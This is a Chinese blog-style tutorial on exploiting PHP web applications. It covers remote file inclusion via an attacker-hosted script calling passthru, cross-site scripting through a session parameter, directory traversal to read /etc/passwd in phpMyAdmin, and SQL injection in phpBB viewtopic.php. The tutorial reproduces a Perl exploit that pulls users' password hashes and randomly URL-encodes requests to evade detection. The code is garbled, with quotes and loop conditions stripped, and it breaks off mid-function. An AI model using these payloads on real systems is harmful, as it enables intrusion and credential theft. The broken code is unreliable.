从现在的网络安全来看,大家最关注和接触最多的web页面漏洞应该是asp了,在这方面,小竹是专家,我没发言权。然而在php方面来看,也同样存在很严重的安全问题,但是这方面的文章却不多。在这里,就跟大家来稍微的讨论一下php页面的相关漏洞吧。
我对目前常见的php漏洞做了一下总结,大致分为以下几种:包含文件漏洞,脚本命令执行漏洞,文件泄露漏洞,sql注入漏洞等几种。当然,至于cookie欺骗等一部分通用的技术就不在这里讨论了,这些资料网上也很多。那么,我们就一个一个来分析一下怎样利用这些漏洞吧!
首先,我们来讨论包含文件漏洞。这个漏洞应该说是php独有的吧。这是由于不充分处理外部提供的恶意数据,从而导致远程攻击者可以利用这些漏洞以web进程权限在系统上执行任意命令。我们来看一个例子:假设在a.php中有这样一句代码:
以下是引用片段:
include($include./xxx.php);
?>
在这段代码中,$include一般是一个已经设置好的路径,但是我们可以通过自己构造一个路径来达到攻击的目的。比方说我们提交:a.php?include=http://web/b.php,这个web是我们用做攻击的空间,当然,b.php也就是我们用来攻击的代码了。我们可以在b.php中写入类似于:passthru(/bin/ls /etc);的代码。这样,就可以执行一些有目的的攻击了。(注:web服务器应该不能执行php代码,不然就出问题了。相关详情可以去看>)。在这个漏洞方面,出状况的很多,比方说:paypal store front,hotnews,mambo open source,phpdig,yabb se,phpbb,invisionboard,solmetra spaw editor,les visiteurs,phpgedview,x-cart等等一些。
接着,我们再来看一下脚本命令执行漏洞。这是由于对用户提交的uri参数缺少充分过滤,提交包含恶意html代码的数据,可导致触发跨站脚本攻击,可能获得目标用户的敏感信息。我们也举个例子:在php transparent的php php 4.3.1以下版本中的index.php页面对phpsessid缺少充分的过滤,我们可以通过这样的代码来达到攻击的目的:http://web/index.php?phpsessid=>在script里面我们可以构造函数来获得用户的一些敏感信息。在这个漏洞方面相对要少一点,除了php transparent之外还有:php-nuke,phpbb,php classifieds,phpix,ultimate php board等等。
再然后,我们就来看看文件泄露漏洞了,这种漏洞是由于对用户提交参数缺少充分过滤,远程攻击者可以利用它进行目录遍历攻击以及获取一些敏感信息。我们拿最近发现的phpmyadmin来做例子。在phpmyadmin中,export.php页面没有对用户提交的'what'参数进行充分过滤,远程攻击者提交包含多个'../'字符的数据,便可绕过web root限制,以web权限查看系统上的任意文件信息。比方说打入这样一个地址:export.php?what=../../../../../../etc/passwd%00 就可以达到文件泄露的目的了。在这方面相对多一点,有:myphpnuke,mcnews等等。
最后,我们又要回到最兴奋的地方了。想想我们平时在asp页面中用sql注入有多么爽,以前还要手动注入,一直到小竹悟出sql注入密笈(嘿嘿),然后再开做出nbsi以后,我们nb联盟真是拉出一片天空。曾先后帮csdn,大富翁论坛,中国频道等大型网站找出漏洞。(这些废话不多说了,有点跑题了...)。
还是言规正传,其实在asp中sql的注入和php中的sql注入大致相同,只不过稍微注意一下用的几个函数就好了。将asc改成ascii,len改成length,其他函数基本不变了。其实大家看到php的sql注入,是不是都会想到php-nuke和phpbb呢?不错,俗话说树大招分,像动网这样的论坛在asp界就该是漏洞这王了,这并不是说它的论坛安全太差,而是名气太响,别人用的多了,研究的人也就多了,发现的安全漏洞也就越多了。phpbb也是一样的,现在很大一部分人用php做论坛的话,一般都是选择了phpbb。它的漏洞也是一直在出,从最早phpbb.com phpbb 1.4.0版本被人发现漏洞,到现在最近的phpbb 2.0.6版本的groupcp.php,,以及之前发现的search.php,profile.php,viewtopic.php等等加起来,大概也有十来个样子吧。这也一直导致,一部分人在研究php漏洞的时候都会拿它做实验品,所谓百练成精嘛,相信以后的phpbb会越来越好。
好了,我们还是来分析一下漏洞产生的原因吧。拿viewtopic.php页面来说,由于在调用viewtopic.php时,直接从get请求中获得topic_id并传递给sql查询命令,而并没有进行一些过滤的处理,攻击者可以提交特殊的sql字符串用于获得md5密码,获得此密码信息可以用于自动登录或者进行暴力破解。(我想应该不会有人想去暴力破解吧,除非有特别重要的原因)。先看一下相关源代码:
以下是引用片段:
# if(isset($http_get_vars[post_topic_url]))
# {
#$topic_id=intval($http_get_vars[post_topic_url]);
# }
# elseif(isset($http_get_vars['topic']))
# {
#$topic_id=intval($http_get_vars['topic']);
# }
从上面我们可以看出,如果提交的view=newest并且sid设置了值的话,执行的查询代码像下面的这个样子(如果你还没看过phpbb源代码的话,建议你看了再对着这里来看,受影响系统为:phpbb 2.0.5和phpbb 2.0.4)。
以下是引用片段:
# $sql = select p.post_id
# from . posts_table . p, . sessions_table . s, . users_table . u
# where s.session_id = '$session_id'
# and u.user_id = s.session_user_id
# and p.topic_id = $topic_id
# and p.post_time >= u.user_lastvisit
# order by p.post_time asc
# limit 1;
rick提供了下面的这断测试代码:
use io::socket;
$remote = shift || 'localhost';
$view_topic = shift || '/phpbb2/viewtopic.php';
$uid = shift || 2;
$port = 80;
$dbtype = 'mysql4'; # mysql4 or pgsql
print trying to get password hash for uid $uid server $remote dbtype: $dbtype ;
$p = ;
for($index=1; $index
{
$socket = io::socket::inet->new(peeraddr => $remote,
peerport => $port,
proto => tcp,
type => sock_stream)
or die couldnt connect to $remote:$port : $@ ;
$str = get $view_topic . ?sid=1&topic_id=-1 . random_encode(make_dbsql()) . &view=newest . http/1.0 ;
print $socket $str;
print $socket cookie: phpbb2mysql_sid=1 ;# replace this for pgsql or remove it
print $socket host: $remote ;
while ($answer = )
{
if ($answer =~ /location:.*x23(d+)/) # matches the location: viewtopic.php?p=#
{
$p .= chr ();
}
}
close($socket);
}
print md5 hash for uid $uid is $p ;
# random encode str. helps avoid detection
sub random_encode
{
$str = shift;
$ret = ;
for($i=0; $i{
$c = substr($str,$i,1);
$j = rand length($str) * 1000;
if (int($j) % 2 || $c eq ' ')
{
$ret .= % . sprintf(%x,ord($c));
}
http://www.bkjia.com/phpjc/446957.htmlwww.bkjia.comtruehttp://www.bkjia.com/phpjc/446957.htmltecharticle从现在的网络安全来看,大家最关注和接触最多的web页面漏洞应该是asp了,在这方面,小竹是专家,我没发言权。然而在php方面来看,也同...